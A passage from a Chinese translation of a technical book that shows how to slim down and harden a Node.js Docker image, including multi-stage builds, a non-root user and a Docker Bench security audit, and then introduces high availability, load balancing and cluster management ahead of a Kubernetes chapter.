信号时,它将终止容器中的所有进程。截至 Docker 1.13,一个名为 Tini 的轻量级 init 系统默认包含在内,可以通过传递给 docker run
的 --init
标志来启用。
因此,当我们运行我们的 hobnob 镜像时,我们应该使用以下命令代替:
$ docker run --init --env-file ./.env --name hobnob -d -p 8080:8080 hobnob:0.1.0
以非 root 用户运行
默认情况下,Docker 将在容器内部以 root 用户运行命令。这是一个安全风险。因此,我们应该以非 root 用户运行我们的应用程序。
便利的是,Node Docker 镜像已经有一个名为 node 的用户。我们可以使用 USER 指令来指示 Docker 以 node 用户而不是 root 用户运行镜像。
由于这个原因,我们也应该将我们的应用程序移动到节点用户可访问的位置。
使用以下行更新 Dockerfile;将它们放在 FROM
指令之后立即放置:
USER node
WORKDIR /home/node
我们还需要更改 COPY
指令:
COPY . .
尽管我们已经设置了 USER
指令以使用 node 用户,但 USER
指令仅影响 RUN
、CMD
和 ENTRYPOINT
指令。默认情况下,当我们使用 COPY
将文件添加到我们的容器中时,这些文件是以 root 用户添加的。要为另一个用户或组签名复制的文件,我们可以使用 --chown
标志。
将 COPY
指令更改为以下内容:
COPY --chown=node:node . .
利用缓存
目前,我们正在复制整个应用程序代码,安装其依赖项,然后构建应用程序。
但如果我修改了我的应用程序代码,但没有引入任何新的依赖项呢?在我们的当前方法中,我们不得不再次运行所有三个步骤,而 RUN ["yarn"]
步骤可能需要很长时间,因为它必须下载成千上万的文件:
COPY --chown=node:node . .
RUN ["yarn"]
RUN ["yarn", "run", "build"]
幸运的是,Docker 实现了一个巧妙的缓存机制。每当 Docker 生成一个镜像时,它都会在文件系统中存储其底层层。当 Docker 被要求构建一个新的镜像时,它不会盲目地再次遵循指令,而是会检查其现有的层缓存,看看是否有可以简单重用的层。
当 Docker 遍历每个指令时,它将尽可能使用缓存,并且仅在以下情况下才会使缓存失效:
-
从相同的父镜像开始,没有与当前 Dockerfile 中下一个指令 完全相同 的指令构建的缓存层。
-
如果下一个指令是
ADD
或COPY
,Docker 将为每个文件创建一个校验和,基于每个文件的 内容。如果 任何 校验和不匹配缓存层中的校验和,缓存将被失效。
因此,我们可以将前面的三个指令(COPY
、RUN
、RUN
)修改为以下四个指令:
COPY --chown=node:node ["package*.json", "yarn.lock", "./"]
RUN ["yarn"]
COPY --chown=node:node . .
RUN ["yarn", "run", "build"]
现在,如果我们的依赖项仅在我们内部的 package.json
、package-lock.json
和 yarn.lock
文件中指定,并且没有变化,那么这里的前两个步骤将不会再次运行。相反,我们将使用之前生成的缓存的层。
注意事项
假设我们有一个以下的 Dockerfile:
FROM ubuntu:bionic
RUN apt update && apt install git
RUN ["git", "clone", "git@github.com:d4nyll/hobnob.git"]
如果我们一个月前运行了这个镜像,并且有层存储在缓存中,然后今天再次构建它,Docker 将会使用缓存的层,即使 apt 源列表可能已经过时。
这样做是为了确保您有一个可重复的构建。让我们想象我对我的一些代码进行了修改。如果构建新的镜像失败,我想确定这是因为我所做的更改,而不是因为某个包中静默更新的错误。
如果您想禁用缓存并构建一个新的镜像,可以通过传递 --no-cache
标志给 docker build 来实现。
使用更轻量级的镜像
我们一直使用 node:8
镜像作为 Hobnob 镜像的基础。然而,就像 Elasticsearch 一样,Node Docker 镜像有多种风味:
-
standard:它使用 buildpack-deps:jessie 作为其基础镜像。buildpack-deps 是一个提供最常见构建依赖项集合的镜像,例如 GNU 编译器集合 (gcc.gnu.org) 和 GNU Make (gnu.org/software/make/)。buildpack-deps:jessie 镜像本身是基于 debian:jessie Debian 8 镜像。
-
slim:这与标准镜像相同,但不包含所有构建依赖项。相反,它只包含 curl、wget、ca-certificates 以及与 Node 一起工作的最小包集。
-
stretch:这与标准风味相似,但使用 Debian 9(Stretch)而不是 Debian 8(Jessie)。
-
alpine:标准版和精简版使用 Debian 作为其基础镜像。alpine 版本使用 Alpine Linux 作为其基础镜像。Alpine 是一个非常轻量级的发行版,因此其镜像也比其他镜像小。
如果我们查看所有流行 Linux 发行版的 Docker 镜像,你会发现 alpine 是迄今为止最小的:
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest 3fd9065eaf02 4 months ago 4.15MB
ubuntu latest 452a96d81c30 2 weeks ago 79.6MB
debian latest 8626492fecd3 2 weeks ago 101MB
opensuse latest 35057ab4ef08 3 weeks ago 110MB
centos latest e934aafc2206 5 weeks ago 199MB
fedora latest cc510acfcd70 7 days ago 253MB
保持容器轻量级很重要,因为它会影响容器部署的速度。让我们拉取更轻量级的 Node Docker 镜像并进行比较:
$ docker pull node:8-alpine
$ docker pull node:8-slim
$ docker images node
REPOSITORY TAG IMAGE ID CREATED SIZE
node 8-slim 65ab3bed38aa 2 days ago 231MB
node 8-alpine fc3b0429ffb5 2 days ago 68MB
node 8 78f8aef50581 2 weeks ago 673MB
如您所见,node:8-alpine
镜像是最小的。因此,让我们将其用作我们的基础镜像。为了回顾,您的 Docker 镜像现在应该看起来像这样:
FROM node:8-alpine
USER node
WORKDIR /home/node
COPY --chown=node:node ["package*.json", "yarn.lock", "./"]
RUN ["yarn"]
COPY --chown=node:node . .
RUN ["yarn", "run", "build"]
CMD ["node", "dist/index.js"]
现在,让我们移除之前的 hobnob 镜像并构建一个新的:
$ docker rmi hobnob:0.1.0
$ docker build -t hobnob:0.1.0 . --no-cache
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
hobnob 0.1.0 e0962ccc28cf 9 minutes ago 210MB
如您所见,我们的镜像大小已从 814 MB 减少到 210 MB - 减少了 74%!
移除过时的文件
目前,我们正在将 src 目录复制到容器中,然后使用它来构建我们的应用程序。然而,在项目构建完成后,src 目录以及其他文件如 package.json 和 yarn.lock 都不再需要来运行应用程序:
$ docker exec -it 27459e1123d4 sh
~ $ pwd
/home/node
~ $ du -ahd1
4.0K ./.ash_history
588.0K ./dist
4.0K ./.babelrc
4.0K ./package.json
20.0K ./spec
128.0K ./yarn.lock
564.0K ./src
138.1M ./.cache
8.0K ./.yarn
98.5M ./node_modules
237.9M .
你可以看到,实际上有 138.1 MB 被用于 Yarn 缓存,而我们不需要这些。因此,我们应该删除这些过时的 工件,只留下 dist 和 node_modules 目录。
在 RUN ["yarn", "run", "build"]
指令之后,添加一个额外的指令来删除过时的文件:
RUN find . ! -name dist ! -name node_modules -maxdepth 1 -mindepth 1 -exec rm -rf {} \;
然而,如果你在这个新的 Dockerfile 上运行 docker build,你可能会惊讶地看到镜像的大小并没有减少。这是因为每个层只是对前一个层的 diff,一旦文件被添加到镜像中,就无法从历史记录中删除。
为了最小化镜像的大小,我们必须在完成指令之前删除工件。这意味着我们必须将所有的安装和构建命令压缩到一个单一的 RUN
指令中:
FROM node:8-alpine
USER node
WORKDIR /home/node
COPY --chown=node:node . .
RUN yarn && find . ! -name dist ! -name node_modules -maxdepth 1 -mindepth 1 -exec rm -rf {} \;
CMD ["node", "dist/index.js"]
现在,镜像的大小仅为 122 MB,这节省了 42% 的空间!
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
hobnob 0.1.0 fc57d9875bb5 3 seconds ago 122MB
然而,这样做将放弃我们从缓存中获得的利益。幸运的是,Docker 支持一个名为 多阶段构建 的功能,它允许我们缓存我们的层,同时保持文件大小较小。
多阶段构建
多阶段构建是 Docker v17.05 版本中新增的功能。它允许你使用多个 FROM
指令在单个 Dockerfile 中定义多个作为 阶段 的镜像。
你可以在单个指令(因此是单个层)中从上一个阶段提取工件并将其添加到下一个阶段。
在我们的案例中,我们可以定义两个阶段——一个用于构建我们的应用程序,第二个阶段仅复制 dist 和 node_modules
目录并指定 CMD 指令:
FROM node:8-alpine as builder
USER node
WORKDIR /home/node
COPY --chown=node:node . .
RUN ["yarn"]
COPY --chown=node:node . .
RUN ["yarn", "run", "build"]
RUN find . ! -name dist ! -name node_modules -maxdepth 1 -mindepth 1 -exec rm -rf {} \;
FROM node:8-alpine
USER node
WORKDIR /home/node
COPY --chown=node:node --from=builder /home/node .
CMD ["node", "dist/index.js"]
我们使用 as
关键字来命名我们的阶段,并在 COPY
指令中使用 --from
标志来引用它们。
现在,如果我们使用 Dockerfile 构建,最终会得到两个镜像:
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
hobnob 0.1.0 5268f2a4176b 5 seconds ago 122MB
<none> <none> f722d00c2dbf 9 seconds ago 210MB
没有命名的镜像 <none>
代表第一个阶段,而 hobnob:0.1.0 镜像是第二个阶段。正如你所看到的,我们的镜像现在只有 122 MB,但我们仍然从我们的多层 Dockerfile 和缓存中受益。
安全性
最后,我们 Docker 镜像的安全性很重要。方便的是,Docker 团队提供了一个名为 Docker Bench for Security 的工具 (github.com/docker/docker-bench-security),它将分析你的运行容器与大量常见最佳实践的大列表进行对比。
该工具本身就是一个容器,可以使用以下命令运行:
$ docker run -it --net host --pid host --userns host --cap-add audit_control \
> -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
> -v /var/lib:/var/lib \
> -v /var/run/docker.sock:/var/run/docker.sock \
> -v /usr/lib/systemd:/usr/lib/systemd \
> -v /etc:/etc --label docker_bench_security \
> docker/docker-bench-security
Unable to find image 'docker/docker-bench-security:latest' locally
latest: Pulling from docker/docker-bench-security
ff3a5c916c92: Pull complete
7caaf50dd5e3: Pull complete
0d533fc1d632: Pull complete
06609d132a3c: Pull complete
Digest: sha256:133dcb7b8fd8ae71576e9a298871177a2513520a23b461746bfb0ef1397bfa07
Status: Downloaded newer image for docker/docker-bench-security:latest
# ------------------------------------------------------------------------------
# Docker Bench for Security v1.3.4
#
# Docker, Inc. (c) 2015-
#
# Checks for dozens of common best-practices around deploying Docker containers in production.
# Inspired by the CIS Docker Community Edition Benchmark v1.1.0.
# ------------------------------------------------------------------------------
[INFO] 1 - Host Configuration
[WARN] 1.1 - Ensure a separate partition for containers has been created
[NOTE] 1.2 - Ensure the container host has been Hardened
...
[PASS] 7.9 - Ensure CA certificates are rotated as appropriate (Swarm mode not enabled)
[PASS] 7.10 - Ensure management plane traffic has been separated from data plane traffic (Swarm mode not enabled)
[INFO] Checks: 73
[INFO] Score: 8
在你运行测试后,研究每个警告,看看你是否可以改进设置。
摘要
我们现在已经将应用程序的组件服务封装到便携的、自包含的 Docker 镜像中,这些镜像可以作为容器运行。通过这样做,我们通过以下方式改进了我们的部署流程:
-
便携性: Docker 镜像可以像任何其他文件一样分发。它们也可以在任何环境中运行。
-
可预测/一致: 镜像是自包含的且预先构建的,这意味着它在任何部署的地方都会以相同的方式运行。
-
自动化: 所有指令都指定在 Dockerfile 中,这意味着我们的计算机可以像运行代码一样运行它们。
然而,尽管我们对应用程序进行了容器化,但我们仍然手动运行 docker run
命令。此外,我们在单个服务器上运行这些容器的单个实例。如果服务器故障,我们的应用程序将停止运行。此外,如果我们需要对应用程序进行更新,仍然会有停机时间(尽管现在停机时间更短,因为部署可以自动化)。
因此,虽然 Docker 是解决方案的一部分,但它并不是整个解决方案。
在下一章中,我们将基于本章内容,并使用如 Kubernetes 这样的集群编排系统来管理这些容器的运行。Kubernetes 允许我们创建由冗余容器组成的分布式集群,每个容器都部署在不同的服务器上,这样当一台服务器故障时,其他服务器上部署的容器仍然可以保持整个应用程序的运行。这也允许我们一次更新一个容器,而无需停机。
总体而言,Kubernetes 将使我们能够扩展应用程序以处理重负载,并允许我们的应用程序即使在经历硬件故障时也能保持可靠的正常运行时间。
第十八章:带有 Kubernetes 的稳健基础设施
在上一章中,我们使用 Docker 预构建和打包应用程序的不同部分,如 Elasticsearch 和我们的 API 服务器,到 Docker 镜像中。这些镜像是可以移植的,并且可以独立部署到任何环境中。尽管这种改进的方法自动化了我们工作流程的一些方面,但我们仍然在单个服务器上手动部署我们的容器。
这种缺乏自动化带来了人为错误的风险。在单个服务器上部署引入了单点故障(SPOF),这降低了我们应用程序的可靠性。
相反,我们应该通过启动每个服务的多个实例,并将它们部署在不同的物理服务器和数据中心来提供冗余。换句话说,我们应该在集群上部署我们的应用程序。
集群使我们能够拥有高可用性、可靠性和可伸缩性。当某个服务的实例变得不可用时,故障转移机制可以将未满足的请求重定向到仍然可用的实例。这确保了整个应用程序保持响应和功能。
然而,协调和管理这个分布式、冗余的集群并非易事,需要许多部分协同工作。这些包括以下内容:
-
服务发现工具
-
全球配置存储
-
网络工具
-
调度工具
-
负载均衡器
-
...以及更多
集群管理工具是一个管理这些工具并提供开发人员工作抽象层的平台。一个典型的例子是 2014 年由谷歌开源的Kubernetes。
因为大多数集群管理工具也使用容器进行部署,所以它们通常也被称为容器编排系统。
在本章中,我们将学习如何:
-
通过在 DigitalOcean 上使用 Kubernetes 部署我们的应用程序来使其更加稳健
-
了解稳健系统的特性;即可用性、可靠性、吞吐量和可伸缩性
-
检查集群管理工具通常会管理的组件类型,它们如何协同工作,以及它们如何有助于使我们的系统更加稳健
-
通过部署和管理工作作为分布式 Kubernetes 集群来获得实践经验
高可用性
可用性是衡量系统能够履行其预期功能的比例的时间。对于一个 API,这意味着 API 能够正确响应客户端请求的时间百分比。
测量可用性
可用性通常测量为系统功能的时间百分比(正常运行时间)与总经过时间的比例:
这通常表示为“九”。例如,具有“四个九”可用性级别的系统将具有 99.99%或更高的正常运行时间。
遵循行业标准
一般而言,系统越复杂,出错的可能性就越大;这导致可用性降低。换句话说,对于静态网站来说,实现 100%的在线时间比 API 要容易得多。
因此,常见 API 的可用性行业标准是什么?大多数在线平台都提供包含平台最低可用性条款的服务级别协议(SLA)。以下是一些示例(截至撰写本文时准确):
-
谷歌计算引擎服务级别协议(SLA):99.99%
-
亚马逊计算服务级别协议:99.99%
-
应用引擎服务级别协议(SLA):99.95%
-
谷歌地图——服务级别协议(“地图 API SLA”):99.9%
-
亚马逊 S3 服务级别协议:99.9%
显然,这些服务级别协议提供了从“三个九”(99.9%)到“四个九”(99.99%)的最小可用性保证;这相当于每年最多停机时间为 52.6 分钟到 8.77 小时。因此,我们也应该旨在为我们的 API 提供类似级别的可用性。
消除单点故障(SPOF)
确保高可用性的最基本步骤是消除(SPOF)。单点故障是系统中的一个组件,如果它失败,会导致整个系统失败。
例如,如果我们只部署一个后端 API 的实例,运行该实例的单个节点进程就变成了一个单点故障(SPOF)。如果该节点进程因任何原因退出,那么我们的整个应用程序就会崩溃。
幸运的是,消除单点故障相对简单——复制;你只需部署该组件的多个实例。然而,这也带来了自己的挑战——当收到新的请求时,哪个实例应该处理它?
负载均衡与故障转移
传统上,有两种方法可以将请求路由到复制的组件:
- 负载均衡:负载均衡器位于客户端和服务器实例之间,拦截请求并将它们分配到所有实例:
请求的分配方式取决于所使用的负载均衡算法。除了“随机”选择之外,最简单的算法是轮询算法。这就是请求按顺序依次路由到每个实例。例如,如果有两个后端服务器,A 和 B,第一个请求将被路由到 A,第二个到 B,第三个回到 A,第四个到 B,以此类推。这导致请求均匀分配:
虽然轮询是最简单的实现方案,但它假设所有节点都是平等的——在可用资源、当前负载和网络拥塞方面。这通常不是情况。因此,通常使用动态轮询,它将更多流量路由到具有更多可用资源或负载较低的宿主。
- 故障转移:请求被路由到单个 主 实例。如果主实例失败,后续请求将被路由到不同的 辅助 或 备用 实例:
就像所有事物一样,每种方法都有其优缺点:
-
资源利用率:使用故障转移方法,任何时候只有一个实例在运行;这意味着你将支付那些不贡献于你应用程序的正常运行,也不提高其性能或吞吐量的服务器资源。另一方面,负载均衡的目标是最大化资源利用率;提供高可用性只是一个有用的副作用。
-
有状态性:有时,故障转移是唯一可行的方案。许多现实世界中的,可能是遗留的应用程序是有状态的,如果同时运行多个应用程序实例,状态可能会损坏。尽管你可以重构应用程序以适应这种情况,但仍然是一个事实,并非所有应用程序都可以在负载均衡器后面提供服务。
-
可伸缩性:使用故障转移,为了提高性能和吞吐量,你必须垂直扩展(通过增加其资源)主节点。使用负载均衡,你可以垂直和水平扩展(通过添加更多机器)。
由于我们的应用程序是无状态的,因此使用分布式负载均衡器更有意义,因为它允许我们充分利用所有资源并提供更好的性能。
负载均衡
负载均衡可以通过多种方式实现——使用 DNS 进行负载分配,或者使用第四层或第七层负载均衡器。
DNS 负载均衡
一个域名可以配置其 DNS 设置,使其与多个 IP 地址相关联。当客户端尝试将域名解析为 IP 地址时,它会返回一个包含所有 IP 地址的列表。大多数客户端随后会将请求发送到列表中的第一个 IP 地址。
DNS 负载均衡是在每次进行新的名称解析请求时,DNS 改变这些地址的顺序。最常见的是,这是以轮询的方式完成的。
使用这种方法,客户端请求应该在所有后端服务器之间均匀分配。然而,在 DNS 层面的负载均衡有一些主要的缺点:
-
缺乏健康检查:DNS 不监控服务器的健康状态。即使列表中的某个服务器宕机,它仍然会返回相同的 IP 地址列表。
-
更新和传播 DNS 记录到所有 根服务器、中间 DNS 服务器(解析器)和客户端可能需要几分钟到几小时的时间。此外,大多数 DNS 服务器都会缓存它们的 DNS 记录。这意味着在 DNS 记录更新后,请求可能仍然被路由到已失败的服务器。
第四层/第七层负载均衡器
另一种负载均衡客户端请求的方法是使用一个 负载均衡器。我们不是在多个 IP 地址上公开后端服务器并让客户端选择使用哪个服务器,而是可以将我们的后端服务器隐藏在私有本地网络后面。当客户端想要访问我们的应用程序时,它会将请求发送到负载均衡器,负载均衡器会将请求转发到后端。
通常来说,负载均衡器有两种类型——第 4 层(L4)、第 7 层(L7)。它们的名称与 开放系统互连(OSI)参考模型中的相应层相关——这是一个将通信系统划分为抽象层的标准概念模型:
每一层都有许多标准协议,它们指定了数据应该如何打包和传输。例如,FTP 和 MQTT 都是应用层协议。FTP 是为文件传输设计的,而 MQTT 是为基于发布/订阅的消息传递设计的。
当负载均衡器收到一个请求时,它将决定将请求转发到哪个后端服务器。这些决策是基于请求中嵌入的信息做出的。L4 负载均衡器会使用传输层的信息,而 L7 负载均衡器可以使用应用层的信息,包括请求体本身。
第 4 层负载均衡器
通常来说,L4 负载均衡器使用在 OSI 模型的传输层(第 4 层)定义的信息。在互联网的上下文中,这意味着 L4 负载均衡器应该使用传输控制协议(TCP)数据包的信息。然而,实际上,L4 负载均衡器也使用来自互联网协议(IP)数据包的信息,这是第 3 层——网络层。因此,“第 4 层”这个名字应该被认为是一个误称。
具体来说,L4 负载均衡器根据源/目的 IP 地址和端口路由请求,对数据包的内容不予理会。
通常,L4 负载均衡器以运行专有芯片和/或软件的专用硬件设备的形式出现。
第 7 层负载均衡
第 7 层(L7)负载均衡器与 L4 负载均衡器类似,但使用 OSI 模型中最顶层——应用层的信息。对于我们的 API 等网络服务,使用的是超文本传输协议(HTTP)。
L7 负载均衡器可以使用来自 URL、HTTP 头部(例如,Content-Type
)、cookies、消息体内容、客户端 IP 地址以及其他信息来路由请求。
通过在应用层工作,L7 负载均衡器相对于 L4 负载均衡器有以下几个优势:
-
更智能:因为 L7 负载均衡器可以根据更多信息(如客户端的地理位置数据)制定路由规则,所以它们可以提供比 L4 负载均衡器更复杂的路由规则。
-
更多功能:因为 L7 负载均衡器可以访问消息内容,它们能够修改消息,例如加密和/或压缩正文。
-
云负载均衡:因为 L4 负载均衡器通常是硬件设备,云提供商通常不允许你配置它们。相比之下,L7 负载均衡器通常是软件,可以完全由开发者管理。
-
调试的简便性:他们可以使用 cookie 来确保相同的客户端访问相同的后端服务器。如果你实现了“粘性会话”等有状态逻辑,这是必须的,但在调试时也有优势——你只需要解析一个后端服务器的日志,而不是所有服务器的日志。
然而,L7 负载均衡器并不总是比它们的 L4 对应物“更好”。L7 负载均衡器需要更多的系统资源,并且具有高延迟,因为它必须考虑更多的参数。然而,这种延迟并不足以让我们担心。
目前市场上有一些现成的 L7 负载均衡器——高可用代理(HAProxy)、NGINX 和 Envoy。我们将在本章后面探讨在后台服务器前部署分布式负载均衡器。
高可靠性
可靠性是衡量对系统信心的指标,并且与故障概率成反比。
可靠性是通过几个指标来衡量的:
-
平均故障间隔时间(MTBF):正常运行时间/故障次数
-
平均修复时间(MTTR):团队修复故障并使系统恢复在线的平均时间
测试可靠性
提高可靠性的最简单方法是增加系统的测试覆盖率。当然,这假设那些测试是有意义的测试。
测试通过以下方式提高可靠性:
-
提高 MTBF:你的测试越彻底,你越有可能在系统部署之前捕捉到错误。
-
降低 MTTR:这是因为历史测试结果会告诉你最后一个通过所有测试的版本。如果应用程序出现高故障率,那么团队可以快速回滚到最后一个已知良好的版本。
高带宽
带宽是衡量在给定时间间隔内可以满足的请求数量的指标。
系统的带宽取决于几个因素:
-
网络延迟:消息从客户端到我们的应用程序所需的时间,以及应用程序不同组件之间所需的时间
-
性能:程序本身的计算速度
-
并行性:请求是否可以并行处理
我们可以使用以下策略来提高带宽:
-
在地理上靠近客户端部署我们的应用程序:通常,这减少了请求必须通过代理服务器跳转的次数,从而降低了网络延迟。我们还应该将相互依赖的组件部署在附近,最好是在同一个数据中心内。这也有助于降低网络延迟。
-
确保服务器拥有足够的资源:这确保了您服务器上的 CPU 足够快,并且服务器有足够的内存来执行其任务,而无需使用交换内存。
-
在负载均衡器后面部署应用程序的多个实例:这允许同时处理对应用程序的多个请求。
-
确保您的应用程序代码是非阻塞的:JavaScript 是一种异步语言。如果您编写同步、阻塞代码,则在等待同步操作完成时,将阻止其他操作执行。
高可扩展性
可扩展性是衡量系统在处理更高需求的同时,仍能保持相同性能水平的能力的指标。
需求可能源于用户采用率的持续增长,也可能是因为流量突然高峰(例如,食品配送应用程序在午餐时间可能会收到更多请求)。
一个高度可扩展的系统应不断监控其组成部分,并识别那些工作在“安全”资源限制之上的组件,并对其进行横向或纵向扩展。
我们可以通过两种方式提高可扩展性:
-
垂直扩展或向上扩展:增加现有服务器的资源量(例如,CPU、RAM、存储、带宽)
-
横向扩展或扩展出去:向现有集群添加服务器
垂直扩展很简单,但机器可以处理的 CPU、RAM、带宽、端口甚至进程的数量总是有一个限制。例如,许多内核对其可以处理的进程数量有一个限制:
$ cat /proc/sys/kernel/pid_max
32768
横向扩展允许您拥有更高的资源最大限制,但同时也带来了自己的挑战。服务的一个实例可能持有一些必须在不同实例之间同步的临时状态。
然而,由于我们的 API 是“无状态的”(在这种意义上,所有状态都在我们的数据库中,而不是在内存中),横向扩展带来的问题较少。
集群和微服务
为了使我们的系统具有高可用性、可靠性、可扩展性和高吞吐量,我们必须设计一个系统:
-
弹性/持久:能够承受组件故障
-
弹性:每个服务和资源可以根据需求快速增长和缩小
通过将单体应用程序分解成许多更小的无状态组件(遵循微服务架构)并在集群中部署它们,可以实现这样的系统。
微服务
与提供一个满足许多关注点的单体代码库相比,你可以将应用程序分解成许多服务,当它们协同工作时,就构成了整个应用程序。每个服务应该:
-
有一个或非常少的关注点
-
与其他服务解耦
-
如果可能的话,保持无状态
在单体应用程序中,所有组件必须作为一个单一单元一起部署。如果你想要扩展应用程序,你必须通过部署更多单体实例来扩展。此外,由于不同服务之间没有明确的边界,你经常会发现代码库中存在紧密耦合的代码。另一方面,微服务架构将每个服务作为一个独立的、独立的实体。你可以通过仅复制所需的服务来扩展。此外,你可以在不同的架构上部署服务,甚至可以使用不同的供应商。
一个服务应该向其他服务公开一个 API 以进行交互,但除此之外,它应该独立于其他服务。这意味着服务可以独立部署和管理。
编写一个允许微服务架构的应用程序可以使我们实现高可扩展性——管理员可以简单地生成更多需求服务的实例。因为服务之间是独立的,所以它们可以独立部署和管理。
我们已经使我们的应用程序无状态并容器化,这两者都使得实现微服务架构变得更加容易。
集群
为了实现可靠和可扩展的基础设施,我们必须提供冗余。这意味着在以下方面的冗余:
-
硬件:我们必须在多个物理主机上部署我们的应用程序,每个(理想情况下)在不同的地理位置。这样,如果一个数据中心离线或被摧毁,其他数据中心部署的服务可以保持我们的应用程序运行。
-
软件:我们必须也部署我们服务的多个实例;这样,处理请求的负载就可以在这些实例之间分配。因此,这带来了以下好处:
-
我们可以将用户路由到提供最快响应时间的服务器(通常是地理位置上离用户最近的服务器)
-
我们可以关闭一个服务,更新它,然后将其重新上线,而不会影响整个应用程序的运行时间
-
在集群上部署应用程序可以使你拥有硬件冗余,负载均衡器提供软件冗余。
集群由一组主机/服务器(称为节点)的网络组成。一旦这些节点被配置,你就可以在它们内部部署你服务的实例。接下来,你需要配置一个负载均衡器,它位于服务之前,并将请求分配给拥有最多可用服务的节点。
通过在集群上部署冗余服务,它可以确保:
-
高可用性:如果服务器变得不可用,无论是由于故障还是计划维护,负载均衡器可以实施故障转移机制,并将请求重新分配到健康的实例。
-
高可靠性:冗余实例消除了单点故障。这意味着我们的整个系统变得容错。
-
高吞吐量:通过在地理区域跨多个服务实例,它允许低延迟。
这可能实现为一个廉价服务器冗余阵列(RAIS),服务器的 RAID 等效,或者称为廉价磁盘冗余阵列。每当服务器出现故障时,服务仍然可以通过从健康服务器提供服务来保持可用。
然而,如果你使用像 DigitalOcean 这样的云服务提供商,他们将为你处理硬件冗余。我们剩下的只是部署我们的集群并配置我们的负载均衡器。
集群管理
在集群内部以微服务方式部署我们的应用程序在原则上足够简单,但实际上实施起来相当复杂。
首先,你必须配置服务器以作为集群内的节点。然后,我们需要设置一些相互协作以管理集群的工具。这些工具可以分为两组:
-
集群级工具:在集群级别工作,并做出影响整个集群的全局决策。
-
节点级工具:位于每个节点内部。它从集群级工具接收指令,并反馈给集群级工具,以协调节点内运行的服务管理。
对于集群级工具,你需要以下工具:
-
调度器:这决定了特定服务将部署在哪个节点上。
-
发现服务:记录每个服务的实例数量,它们的状态(例如,启动、运行、终止等),它们部署的位置等。它允许进行服务发现。
-
全局配置存储:存储集群配置,如常见环境变量。
在节点级别,你需要以下工具:
-
本地配置管理工具:用于保持本地配置状态并与集群级配置同步。我们将集群配置存储在全局配置存储中;然而,我们还需要一种方法将那些设置检索到每个节点。此外,当这些配置发生变化时,我们需要一种方法来获取更新的配置,并在必要时重新加载应用程序/服务。
confd
(github.com/kelseyhightower/confd
)是最受欢迎的工具。 -
容器运行时:由于一个节点被分配来运行一个服务,它必须具备执行此操作所需的程序。大多数在现代微服务基础设施上部署的服务使用容器来封装服务。因此,所有主要的集群管理工具都将捆绑某种类型的容器运行时,例如 Docker。
现在,让我们更详细地查看每个集群级工具。
集群级工具
如前所述,集群级工具在集群级别工作,并做出影响整个集群的全局决策。
发现服务
目前,我们的 API 容器可以与我们的 Elasticsearch 容器通信,因为它们在底层连接到同一网络,在同一台主机机器上:
$ docker network ls
NETWORK ID NAME DRIVER SCOPE
d764e66872cf bridge bridge local
61bc0ca692fc host host local
bdbbf199a4fe none null local
$ docker network inspect bridge --format='{{range $index, $container := .Containers}}{{.Name}} {{end}}'
elasticsearch hobnob
然而,如果这些容器部署在不同的机器上,使用不同的网络,它们如何相互通信?
我们的 API 容器必须获取 Elasticsearch 容器的网络信息,以便能够向其发送请求。一种方法是使用服务发现工具。
使用服务发现,每当一个新的容器(运行一个服务)初始化时,它会将自己注册到发现服务,提供关于自己的信息,包括其 IP 地址。然后,发现服务将此信息存储在简单的键值存储中。
服务应定期更新发现服务的状态,以便发现服务在任何时候都能保持服务的最新状态。
当一个新的服务启动时,它将查询发现服务以请求有关它需要连接的服务的信息,例如它们的 IP 地址。然后,发现服务将从其键值存储中检索此信息并将其返回给新的服务:
因此,当我们以集群形式部署我们的应用程序时,我们可以使用服务发现工具来简化我们的 API 与 Elasticsearch 服务的通信。
流行的服务发现工具包括以下:
-
etcd
,由 CoreOS 提供(github.com/coreos/etcd
) -
Consul,由 HashiCorp 提供(
www.consul.io/
) -
Zookeeper,由 Yahoo 提供,现在是 Apache 软件基金会的一部分(
zookeeper.apache.org/
)
调度器
虽然发现服务持有关于每个服务状态和位置的信息,但它不会决定服务应该部署在哪个主机/节点上。这个过程被称为主机选择,是调度器的职责:
调度器的决策可以基于一组规则,称为策略,这些策略考虑以下因素:
-
请求的性质。
-
集群配置/设置。
-
主机密度:表示节点上主机系统繁忙程度的指标。如果集群内有多个节点,我们应该优先在主机密度最低的节点上部署任何新的服务。此信息可以从发现服务中获得,该服务包含有关所有已部署服务的所有信息。
-
服务(反)亲和性:是否应将两个服务部署在同一主机上。这取决于:
-
冗余需求:如果存在其他未运行该服务的节点,则不应在同一节点(们)上部署相同的应用程序。例如,如果我们的 API 服务已经部署在三个主机中的两个上,则调度器可能更喜欢在剩余的主机上部署以确保最大冗余。
-
数据局部性:调度器应尝试将计算代码放置在它需要消费的数据旁边,以减少网络延迟。
-
-
资源需求:节点上运行的现有服务以及要部署的服务
-
硬件/软件限制
-
由集群管理员设定的其他策略/规则
全局配置存储
通常,就像我们的服务一样,在服务成功运行之前需要设置环境变量。到目前为止,我们通过使用docker run
的--env-file
标志指定了要使用的环境变量:
$ docker run --env-file ./.env --name hobnob -d -p 8080:8080 hobnob:0.1.0
然而,当在集群上部署服务时,我们不再手动运行每个容器——我们让调度器和节点级工具为我们做这件事。此外,我们需要所有服务共享相同的环境变量。因此,最明显的解决方案是提供一个全局配置存储,该存储存储要在所有节点和服务之间共享的配置。
配置工具
配置意味着启动新的主机(无论是物理的还是虚拟的)并配置它们,以便它们可以运行集群管理工具。配置完成后,主机即可成为集群内的节点并接收工作。
这可能涉及使用基础设施管理工具如 Terraform 来启动新主机,以及配置管理工具如 Puppet、Chef、Ansible 或 Salt,以确保每个主机内部的配置设置彼此一致。
虽然在部署我们的应用程序之前可以进行配置,但大多数集群管理软件都内置了配置组件。
选择集群管理工具
必须单独管理这些不同的集群管理组件是繁琐且容易出错的。幸运的是,存在集群管理工具,它们提供了一个公共 API,允许我们以一致和自动化的方式配置这些工具。您将使用集群管理工具的 API 而不是单独操作每个组件。
集群管理工具也被称为集群编排工具或容器编排工具。尽管不同术语之间可能存在细微差别,但为了本章的目的,我们可以将它们视为相同。
目前有几种流行的集群管理工具可用:
-
Marathon (
mesosphere.github.io/marathon/
):由 Mesosphere 开发,运行在 Apache Mesos 上。 -
Swarm (
docs.docker.com/engine/swarm/
